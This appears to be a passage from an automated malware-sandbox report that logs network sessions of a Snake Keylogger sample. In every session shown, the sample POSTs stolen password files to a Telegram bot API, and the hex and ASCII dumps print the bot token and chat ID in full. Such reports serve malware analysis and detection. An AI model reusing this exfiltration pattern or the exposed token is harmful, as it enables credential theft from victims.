2022-06-26 07:33:22 UTC	175	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66862,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228802,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49951	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:22 UTC	175	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eec18c9c Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:22 UTC	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 65 63 31 38 63 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eec18c9cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:23 UTC	176	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:23 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:23 UTC	176	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66863,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228803,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.5	49952	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:23 UTC	177	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eefd27b9 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:23 UTC	177	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 65 66 64 32 37 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eefd27b9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:23 UTC	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:23 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:23 UTC	178	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66864,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228803,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49953	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:23 UTC	179	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ef33fcf5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:23 UTC	179	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 66 33 33 66 63 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ef33fcf5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:23 UTC	179	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:23 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:23 UTC	180	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66865,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228803,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.5	49954	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:23 UTC	180	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ef6f989b Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:23 UTC	181	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 66 36 66 39 38 39 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ef6f989bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:24 UTC	181	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:24 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:24 UTC	181	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66866,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228804,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49955	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:24 UTC	182	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756efad95ba Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:24 UTC	182	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 66 61 64 39 35 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756efad95baContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:24 UTC	183	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:24 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:24 UTC	183	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66867,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228804,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	49956	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:24 UTC	184	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756efe20a71 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:24 UTC	184	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 66 65 32 30 61 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756efe20a71Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:24 UTC	184	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:24 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:24 UTC	185	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66868,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228804,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49779	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:42 UTC	18	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d6ea0e18 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:42 UTC	18	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 36 65 61 30 65 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d6ea0e18Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:43 UTC	19	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:43 UTC	19	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66757,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228763,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49957	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
